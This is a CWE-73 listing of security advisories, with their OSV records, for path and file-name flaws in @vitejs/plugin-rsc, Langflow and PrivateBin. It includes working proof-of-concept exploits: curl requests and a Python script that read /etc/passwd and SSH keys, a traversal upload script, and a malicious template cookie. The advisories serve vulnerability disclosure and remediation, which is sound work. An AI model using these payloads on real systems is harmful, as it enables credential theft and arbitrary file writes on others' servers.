CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
914 vulnerabilities reference this CWE, most recent first.
GHSA-G239-Q96Q-X4QM
Vulnerability from github – Published: 2025-12-16 22:32 – Updated: 2025-12-16 22:32Summary
The /__vite_rsc_findSourceMapURL endpoint in @vitejs/plugin-rsc allows unauthenticated arbitrary file read during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a file:// URL in the filename query parameter.
Severity: High
Attack Vector: Network
Privileges Required: None
Scope: Development mode only (vite dev)
Impact
Who Is Affected?
- All developers using
@vitejs/plugin-rscduring development - Projects running
vite devwith the RSC plugin enabled
Attack Scenarios
-
Network-Exposed Dev Servers:
When developers runvite --host 0.0.0.0(common for mobile testing), attackers on the same network can read files. -
~XSS-Based Attacks:~ ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~
-
~Malicious Dependencies: ~ ~A compromised npm package could include code that reads files during development.~
-
~DNS Rebinding:~ (EDIT: This doesn't apply since https://github.com/vitejs/vite/pull/20222) ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~
What Can Be Leaked?
- Environment files (
.env,.env.local,.env.production) - SSH keys (
~/.ssh/id_rsa,~/.ssh/id_ed25519) - Cloud credentials (
~/.aws/credentials,~/.config/gcloud/) - Database passwords and API keys
- Source code from other projects
- System files (
/etc/passwd,/etc/shadowif readable)
Details
Vulnerable Code Location
File: packages/plugin-rsc/src/plugins/find-source-map-url.ts
Lines: 49-61
The vulnerability exists in the findSourceMapURL function:
async function findSourceMapURL(
server: ViteDevServer,
filename: string,
environmentName: string,
): Promise<object | undefined> {
// this is likely server external (i.e. outside of Vite processing)
if (filename.startsWith('file://')) {
filename = fileURLToPath(filename)
if (fs.existsSync(filename)) {
// line-by-line identity source map
const content = fs.readFileSync(filename, 'utf-8') // ← ARBITRARY FILE READ
return {
version: 3,
sources: [filename],
sourcesContent: [content], // ← FILE CONTENTS LEAKED HERE
mappings: 'AAAA' + ';AACA'.repeat(content.split('\n').length),
}
}
return
}
// ... rest of the function
}
Root Cause
The endpoint:
1. Accepts a user-controlled filename parameter from the query string (line 20)
2. Checks if it starts with file:// (line 49)
3. Converts it to a filesystem path using fileURLToPath() (line 50)
4. Reads the file with fs.readFileSync() without any path validation (line 53)
5. Returns the file contents in the JSON response (line 57)
No validation is performed to ensure the requested file is within the project directory or is a legitimate source file.
PoC
Quick Test (Single Command)
If you have a Vite dev server running with @vitejs/plugin-rsc, you can test immediately:
curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'
Expected output (file contents in sourcesContent):
{
"version": 3,
"sources": ["/etc/passwd"],
"sourcesContent": ["root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/sbin:..."],
"mappings": "AAAA;AACA;AACA;..."
}
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-rsc'
export default defineConfig({
plugins: [
react({
serverHandler: false,
}),
],
})
{
"name": "poc-vite-rsc-file-read",
"version": "1.0.0",
"private": true,
"type": "module",
"scripts": {
"dev": "vite --host 0.0.0.0"
},
"dependencies": {
"react": "^19.0.0",
"react-dom": "^19.0.0"
},
"devDependencies": {
"@vitejs/plugin-rsc": "latest",
"vite": "^6.0.0"
}
}
<!DOCTYPE html>
<html>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
import React from 'react'
import ReactDOM from 'react-dom/client'
ReactDOM.createRoot(document.getElementById('root')!).render(<div>PoC</div>)
# Install and start
pnpm install
pnpm dev
# In another terminal, exploit:
curl 'http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd&environmentName=Server'
#!/usr/bin/env python3
"""Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL"""
import json
import sys
import urllib.request
import urllib.parse
def read_file(host, port, file_path):
"""Read a file from the target server via the vulnerability."""
url = f"http://{host}:{port}/__vite_rsc_findSourceMapURL"
params = urllib.parse.urlencode({
'filename': f'file://{file_path}',
'environmentName': 'Server'
})
try:
with urllib.request.urlopen(f"{url}?{params}", timeout=10) as response:
data = json.loads(response.read().decode('utf-8'))
if 'sourcesContent' in data and data['sourcesContent']:
return data['sourcesContent'][0]
except Exception as e:
return f"Error: {e}"
return None
if __name__ == '__main__':
host = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
port = sys.argv[2] if len(sys.argv) > 2 else '5173'
file_path = sys.argv[3] if len(sys.argv) > 3 else '/etc/passwd'
content = read_file(host, port, file_path)
if content:
print(f"[+] Successfully read {file_path}:")
print("-" * 60)
print(content)
print("-" * 60)
else:
print(f"[-] Failed to read {file_path}")
python3 exploit.py localhost 5173 /etc/passwd
python3 exploit.py localhost 5173 /root/.ssh/id_rsa
python3 exploit.py localhost 5173 /home/user/.env
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
SECRET_API_KEY=sk-live-very-secret-key-12345
DB_PASSWORD=super_secret_password
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vitejs/plugin-rsc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68155"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T22:32:26Z",
"nvd_published_at": "2025-12-16T19:16:00Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `/__vite_rsc_findSourceMapURL` endpoint in `@vitejs/plugin-rsc` allows **unauthenticated arbitrary file read** during development mode. An attacker can read any file accessible to the Node.js process by sending a crafted HTTP request with a `file://` URL in the `filename` query parameter.\n\n**Severity:** High\n**Attack Vector:** Network \n**Privileges Required:** None \n**Scope:** Development mode only (`vite dev`)\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All developers** using `@vitejs/plugin-rsc` during development\n- Projects running `vite dev` with the RSC plugin enabled\n\n### Attack Scenarios\n\n1. **Network-Exposed Dev Servers:** \n When developers run `vite --host 0.0.0.0` (common for mobile testing), attackers on the same network can read files.\n\n2. ~**XSS-Based Attacks:**~\n ~If the application has an XSS vulnerability, malicious JavaScript can fetch sensitive files and exfiltrate them.~\n\n3. ~**Malicious Dependencies:** ~\n ~A compromised npm package could include code that reads files during development.~\n\n4. ~**DNS Rebinding:**~ (EDIT: This doesn\u0027t apply since https://github.com/vitejs/vite/pull/20222)\n ~An attacker could use DNS rebinding to access the localhost dev server from a malicious website.~\n\n### What Can Be Leaked?\n\n- Environment files (`.env`, `.env.local`, `.env.production`)\n- SSH keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`)\n- Cloud credentials (`~/.aws/credentials`, `~/.config/gcloud/`)\n- Database passwords and API keys\n- Source code from other projects\n- System files (`/etc/passwd`, `/etc/shadow` if readable)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `packages/plugin-rsc/src/plugins/find-source-map-url.ts` \n**Lines:** 49-61\n\nThe vulnerability exists in the `findSourceMapURL` function:\n\n```typescript\nasync function findSourceMapURL(\n server: ViteDevServer,\n filename: string,\n environmentName: string,\n): Promise\u003cobject | undefined\u003e {\n // this is likely server external (i.e. outside of Vite processing)\n if (filename.startsWith(\u0027file://\u0027)) {\n filename = fileURLToPath(filename)\n if (fs.existsSync(filename)) {\n // line-by-line identity source map\n const content = fs.readFileSync(filename, \u0027utf-8\u0027) // \u2190 ARBITRARY FILE READ\n return {\n version: 3,\n sources: [filename],\n sourcesContent: [content], // \u2190 FILE CONTENTS LEAKED HERE\n mappings: \u0027AAAA\u0027 + \u0027;AACA\u0027.repeat(content.split(\u0027\\n\u0027).length),\n }\n }\n return\n }\n // ... rest of the function\n}\n```\n\n### Root Cause\n\nThe endpoint:\n1. Accepts a user-controlled `filename` parameter from the query string (line 20)\n2. Checks if it starts with `file://` (line 49)\n3. Converts it to a filesystem path using `fileURLToPath()` (line 50)\n4. Reads the file with `fs.readFileSync()` **without any path validation** (line 53)\n5. Returns the file contents in the JSON response (line 57)\n\n**No validation is performed** to ensure the requested file is within the project directory or is a legitimate source file.\n\n---\n\n## PoC\n\n### Quick Test (Single Command)\n\nIf you have a Vite dev server running with `@vitejs/plugin-rsc`, you can test immediately:\n\n```bash\ncurl \u0027http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd\u0026environmentName=Server\u0027\n```\n\n**Expected output** (file contents in `sourcesContent`):\n\n```json\n{\n \"version\": 3,\n \"sources\": [\"/etc/passwd\"],\n \"sourcesContent\": [\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/sbin:...\"],\n \"mappings\": \"AAAA;AACA;AACA;...\"\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003eFurther details of PoC\u003c/summary\u003e\n\n### Complete PoC with Docker\n\nFor a fully reproducible environment, I\u0027ve prepared a complete PoC:\n\n#### Step 1: Create a minimal `vite.config.ts`\n\n```typescript\nimport { defineConfig } from \u0027vite\u0027\nimport react from \u0027@vitejs/plugin-rsc\u0027\n\nexport default defineConfig({\n plugins: [\n react({\n serverHandler: false,\n }),\n ],\n})\n```\n\n#### Step 2: Create `package.json`\n\n```json\n{\n \"name\": \"poc-vite-rsc-file-read\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"type\": \"module\",\n \"scripts\": {\n \"dev\": \"vite --host 0.0.0.0\"\n },\n \"dependencies\": {\n \"react\": \"^19.0.0\",\n \"react-dom\": \"^19.0.0\"\n },\n \"devDependencies\": {\n \"@vitejs/plugin-rsc\": \"latest\",\n \"vite\": \"^6.0.0\"\n }\n}\n```\n\n#### Step 3: Create minimal `index.html` and `src/main.tsx`\n\n**index.html:**\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cdiv id=\"root\"\u003e\u003c/div\u003e\n \u003cscript type=\"module\" src=\"/src/main.tsx\"\u003e\u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\n**src/main.tsx:**\n```tsx\nimport React from \u0027react\u0027\nimport ReactDOM from \u0027react-dom/client\u0027\nReactDOM.createRoot(document.getElementById(\u0027root\u0027)!).render(\u003cdiv\u003ePoC\u003c/div\u003e)\n```\n\n#### Step 4: Start the server and exploit\n\n```bash\n# Install and start\npnpm install\npnpm dev\n\n# In another terminal, exploit:\ncurl \u0027http://localhost:5173/__vite_rsc_findSourceMapURL?filename=file:///etc/passwd\u0026environmentName=Server\u0027\n```\n\n### Python Exploit Script\n\nFor easier testing, here\u0027s a Python script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Exploit: Arbitrary File Read via /__vite_rsc_findSourceMapURL\"\"\"\n\nimport json\nimport sys\nimport urllib.request\nimport urllib.parse\n\ndef read_file(host, port, file_path):\n \"\"\"Read a file from the target server via the vulnerability.\"\"\"\n url = f\"http://{host}:{port}/__vite_rsc_findSourceMapURL\"\n params = urllib.parse.urlencode({\n \u0027filename\u0027: f\u0027file://{file_path}\u0027,\n \u0027environmentName\u0027: \u0027Server\u0027\n })\n \n try:\n with urllib.request.urlopen(f\"{url}?{params}\", timeout=10) as response:\n data = json.loads(response.read().decode(\u0027utf-8\u0027))\n if \u0027sourcesContent\u0027 in data and data[\u0027sourcesContent\u0027]:\n return data[\u0027sourcesContent\u0027][0]\n except Exception as e:\n return f\"Error: {e}\"\n return None\n\nif __name__ == \u0027__main__\u0027:\n host = sys.argv[1] if len(sys.argv) \u003e 1 else \u0027localhost\u0027\n port = sys.argv[2] if len(sys.argv) \u003e 2 else \u00275173\u0027\n file_path = sys.argv[3] if len(sys.argv) \u003e 3 else \u0027/etc/passwd\u0027\n \n content = read_file(host, port, file_path)\n if content:\n print(f\"[+] Successfully read {file_path}:\")\n print(\"-\" * 60)\n print(content)\n print(\"-\" * 60)\n else:\n print(f\"[-] Failed to read {file_path}\")\n```\n\n**Usage:**\n```bash\npython3 exploit.py localhost 5173 /etc/passwd\npython3 exploit.py localhost 5173 /root/.ssh/id_rsa\npython3 exploit.py localhost 5173 /home/user/.env\n```\n\n### Verified Exploitation Results\n\nI tested this in a Docker container and successfully read:\n\n| File | Description |\n|------|-------------|\n| `/etc/passwd` | System user accounts |\n| `/etc/hosts` | Network configuration |\n| `/root/.env.secret` | Environment secrets |\n| `/root/.ssh/id_rsa` | SSH private keys |\n| `/proc/self/environ` | Process environment variables |\n| Source code files | Any file in the filesystem |\n\n**Example output from `/etc/passwd`:**\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nnode:x:1000:1000::/home/node:/bin/sh\n```\n\n**Example output from sensitive secrets file:**\n\n```\nSECRET_API_KEY=sk-live-very-secret-key-12345\nDB_PASSWORD=super_secret_password\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n```\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-g239-q96q-x4qm",
"modified": "2025-12-16T22:32:27Z",
"published": "2025-12-16T22:32:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-g239-q96q-x4qm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68155"
},
{
"type": "WEB",
"url": "https://github.com/facebook/react/pull/29708"
},
{
"type": "WEB",
"url": "https://github.com/facebook/react/pull/30741"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite-plugin-react/commit/582fba0b9a52b13fcff6beaaa3bfbd532bc5359d"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitejs/vite-plugin-react"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@vitejs/plugin-rsc has an Arbitrary File Read via `/__vite_rsc_findSourceMapURL` Endpoint"
}
GHSA-G2J9-7RJ2-GM6C
Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-06-06 00:55Summary
While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.
This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).
Details
The vulnerability exists in two layers:
- API Layer (
src/backend/base/langflow/api/v2/files.py:162): Inside theupload_user_fileroute, thefilenameis extracted directly from the multipartContent-Dispositionheader (new_filename = file.filename). It is passed verbatim to the storage service.ValidatedFileNameprovides zero protection here as it only guards URL path parameters. - Storage Layer (
src/backend/base/langflow/services/storage/local.py:114-116): TheLocalStorageServiceuses naive path concatenation (file_path = folder_path / file_name). It lacks aresolve().is_relative_to(base_dir)containment check.
Recommended Fix:
- Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
raise HTTPException(status_code=400, detail="Invalid file name")
- Add a canonical path containment check inside
LocalStorageService.save_fileto permanently kill this vulnerability class.
PoC
This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.
import requests
BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
f"{BASE_URL}/api/v2/files/",
headers={"Authorization": f"Bearer {token}"},
files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`
Server Logs:
2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt
Impact
Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33309"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-284",
"CWE-73",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T17:46:43Z",
"nvd_published_at": "2026-03-24T13:16:02Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user\u0027s UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n f\"{BASE_URL}/api/v2/files/\",\n headers={\"Authorization\": f\"Bearer {token}\"},\n files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures\tsecret_key traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
"id": "GHSA-g2j9-7rj2-gm6c",
"modified": "2026-06-06T00:55:50Z",
"published": "2026-03-19T17:46:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Langflow has an Arbitrary File Write (RCE) via v2 API"
}
GHSA-G2J9-G8R5-RG82
Vulnerability from github – Published: 2025-11-14 20:33 – Updated: 2025-11-14 20:33Summary
An unauthenticated Local File Inclusion exists in the template-switching feature: if templateselection is enabled in the configuration, the server trusts the template cookie and includes the referenced PHP file. An attacker can read sensitive data or, if they manage to drop a PHP file elsewhere, gain RCE.
Affected versions
PrivateBin versions since 1.7.7.
Conditions
templateselectiongot enabled incfg/conf.php- Visitor sets a cookie
templatepointing to an existing PHP file without it's suffix, using a path relative to thetplfolder. Absolute paths do not work.
Impact
The constructed path of the template file is checked for existence, then included. For PrivateBin project files this does not leak any secrets due to data files being created with PHP code that prevents execution, but if a configuration file without that line got created or the visitor figures out the relative path to a PHP script that directly performs an action without appropriate privilege checking, those might execute or leak information.
Impact analysis
In detail, we have analyzed different ways of exploiting this vulnerability and found no way to cause a full remote code execution (RCE) vulnerability or denial of service (DoS) as recursive includes, e.g., are not possible.
Generally, it is again notably to remember only PHP files of the local filesystem can be included. That's why potentially at risk PrivateBin PHP files have been analyzed.
- the PrivateBin config file is by default protected as it prevents access itself resulting in a 403 HTTP status code. This is called the “(PHP) protection line”.
- Likewise, the paste data cannot be accessed due to that “protection line”. Each created file contains the same line protecting it against PHP execution/inclusion.
- As for the
salt,purge_andtraffic_limiterfiles, they get included, but no data is displayed (variables or comments only), and a webserver specific error message is returned. - When one tries to include
index.php, you get a PHP error (possibly visible, depending on the webserver setup), due to define being called twice. - With any of the files in lib and likely those in vendor (we have not verified each dependency), code is only declared and not executed and the result is again a webserver specific error message.
- With the scripts in bin, the result is an error message, but code is executed to some extent, but you cannot pass arguments to any administrative scripts as they are read via
$_SERVER['argc'].
That said, the vulnerability could be used to chain more attacks or execute other non-PrivateBin related PHP files on the host system, if such other files exist and the (relative) path to them can be guessed. Also, should for some reason the PHP “protection line” be missing on your deployment the impact could be much worse and e.g. data like the URL shortener token or the database configuration from the configuration file could possibly be exfiltrated.
Real-life impact
PrivateBin has checked all instances versioned 1.7.7 and above listed in the PrivateBin directory and did find 11 instances that had the template switcher enabled. The following script was used to detect this:
for URL in $(
curl --silent --header 'Accept: application/json' 'https://privatebin.info/directory/api?top=100&version=1.7.7' | jq --raw-output '.[].url'
) $(
curl --silent --header 'Accept: application/json' 'https://privatebin.info/directory/api?top=100&version=1.7.8' | jq --raw-output '.[].url'
) $(
curl --silent --header 'Accept: application/json' 'https://privatebin.info/directory/api?top=100&version=2' | jq --raw-output '.[].url'
)
do
curl --silent "$URL" | grep -q 'id="template"' && echo "$URL uses template switcher"
done
None of these instances had an unprotected PrivateBin configuration file in use. The following script was used and may be adapted to check any single instance:
curl --silent --cookie 'template=../cfg/conf' https://privatebin.net
Technical Description
Users can select their preferred template via the template cookie, as seen in TemplateSwitcher::getSelectedByUserTemplate:
private static function getSelectedByUserTemplate(): ?string
{
$selectedTemplate = null;
$templateCookieValue = $_COOKIE['template'] ?? '';
if (self::isTemplateAvailable($templateCookieValue)) {
$selectedTemplate = $templateCookieValue;
}
return $selectedTemplate;
}
In this commit, introduced in 1.7.7, the TemplateSwitcher::isTemplateAvailable method went from this:
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
to this:
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path);
}
return $available;
}
The new code will now blindly trust $template, unless it starts with the string bootstrap-.
View::getTemplateFilePath will return PATH . 'tpl' . DIRECTORY_SEPARATOR . $file . '.php', allowing directory traversal, but preventing non-PHP files to be included.
View::draw will then include the user-submitted template:
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path;
}
Note: this is only possible if templateselection configuration is enabled, or if no template has been set. The template will be rewritten if this condition isn't met:
private function _setDefaultTemplate()
{
$templates = $this->_conf->getKey('availabletemplates');
$template = $this->_conf->getKey('template');
TemplateSwitcher::setAvailableTemplates($templates);
TemplateSwitcher::setTemplateFallback($template);
// force default template, if template selection is disabled and a default is set
if (!$this->_conf->getKey('templateselection') && !empty($template)) {
$_COOKIE['template'] = $template;
setcookie('template', $template, array('SameSite' => 'Lax', 'Secure' => true));
}
}
Reproduction Steps
- Configure PrivateBin with templateselection = true (default template list is fine).
- Send a request with a malicious template cookie like
template=../cfg/conf, where the relative path points to a PHP file without its file suffix - The script now includes the select PHP file (leading to a 500 in that specific case).
Mitigation
Patches
The issue has been patched in version 2.0.3.
Workarounds
Set templateselection = false in cfg/conf.php or remove it, it's default is false.
Credits
PrivateBin would like to thank Benoit Esnard, who reported this vulnerability.
In general, PrivateBin would like to thank everyone reporting issues and potential vulnerabilities to us.
If a user suspects they have found a vulnerability or potential security risk, PrivateBin kindly asks them to follow the security policy and report it to PrivateBin. After submssion the report is assessed and necessary actions will be taken to address it.
Timeline
- 2025-11-09 Received report via GitHub Security Advisory
- 2025-11-10 Discussed and reproduced issue, wrote a unit test case based on this, started work on a patch
- 2025-11-11 Further work on patch, refactored related code
- 2025-11-12 Released patch with PrivateBin 2.0.3
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "privatebin/privatebin"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.7"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64714"
],
"database_specific": {
"cwe_ids": [
"CWE-23",
"CWE-73",
"CWE-98"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-14T20:33:35Z",
"nvd_published_at": "2025-11-13T16:15:56Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAn unauthenticated Local File Inclusion exists in the template-switching feature: if `templateselection` is enabled in the configuration, the server trusts the `template` cookie and includes the referenced PHP file. An attacker can read sensitive data or, if they manage to drop a PHP file elsewhere, gain RCE.\n\n## Affected versions\n\nPrivateBin versions since 1.7.7.\n\n## Conditions\n\n- `templateselection` got enabled in `cfg/conf.php`\n- Visitor sets a cookie `template` pointing to an existing PHP file without it\u0027s suffix, using a path relative to the `tpl` folder. Absolute paths do not work.\n\n## Impact\n\nThe constructed path of the template file is checked for existence, then included. For PrivateBin project files this does not leak any secrets due to data files being created with PHP code that prevents execution, but if a configuration file without that line got created or the visitor figures out the relative path to a PHP script that directly performs an action without appropriate privilege checking, those might execute or leak information.\n\n### Impact analysis\nIn detail, we have analyzed different ways of exploiting this vulnerability and found no way to cause a full remote code execution (RCE) vulnerability or denial of service (DoS) as recursive includes, e.g., are not possible.\n\nGenerally, it is again notably to remember only PHP files of the local filesystem can be included. That\u0027s why potentially at risk PrivateBin PHP files have been analyzed.\n\n* the PrivateBin config file is by default [protected as it prevents access itself](https://github.com/PrivateBin/PrivateBin/blob/591d2d40e16a196aa628e3962a1c21bdf9793db2/cfg/conf.sample.php#L1) resulting in a 403 HTTP status code. This is called the \u201c(PHP) protection line\u201d.\n* Likewise, the paste data cannot be accessed due to that \u201cprotection line\u201d. [Each created file contains the same line protecting it against](https://github.com/PrivateBin/PrivateBin/blob/591d2d40e16a196aa628e3962a1c21bdf9793db2/lib/Data/Filesystem.php#L46) PHP execution/inclusion.\n* As for the `salt`, `purge_` and `traffic_limiter` files, they get included, but no data is displayed (variables or comments only), and a webserver specific error message is returned.\n* When one tries to include `index.php`, you get a PHP error (possibly visible, depending on the webserver setup), due to define being called twice.\n* With any of the files in lib and likely those in vendor (we have not verified each dependency), code is only declared and not executed and the result is again a webserver specific error message.\n* With the scripts in bin, the result is an error message, but code is executed to some extent, but you cannot pass arguments to any administrative scripts [as they are read via `$_SERVER[\u0027argc\u0027]`](https://github.com/PrivateBin/PrivateBin/blob/d32ac29925066c668241a165264c76de051398e3/bin/administration#L357C37-L357C54).\n\nThat said, the vulnerability could be used to chain more attacks or execute other non-PrivateBin related PHP files on the host system, if such other files exist and the (relative) path to them can be guessed.\nAlso, should for some reason the PHP \u201cprotection line\u201d be missing on your deployment the impact could be much worse and e.g. data like the URL shortener token or the database configuration from the configuration file could possibly be exfiltrated.\n\n### Real-life impact\n\nPrivateBin has checked all instances versioned 1.7.7 and above listed in the [PrivateBin directory](https://privatebin.info/directory/) and did find 11 instances that had the template switcher enabled. The following script was used to detect this:\n\n```shell\nfor URL in $(\n curl --silent --header \u0027Accept: application/json\u0027 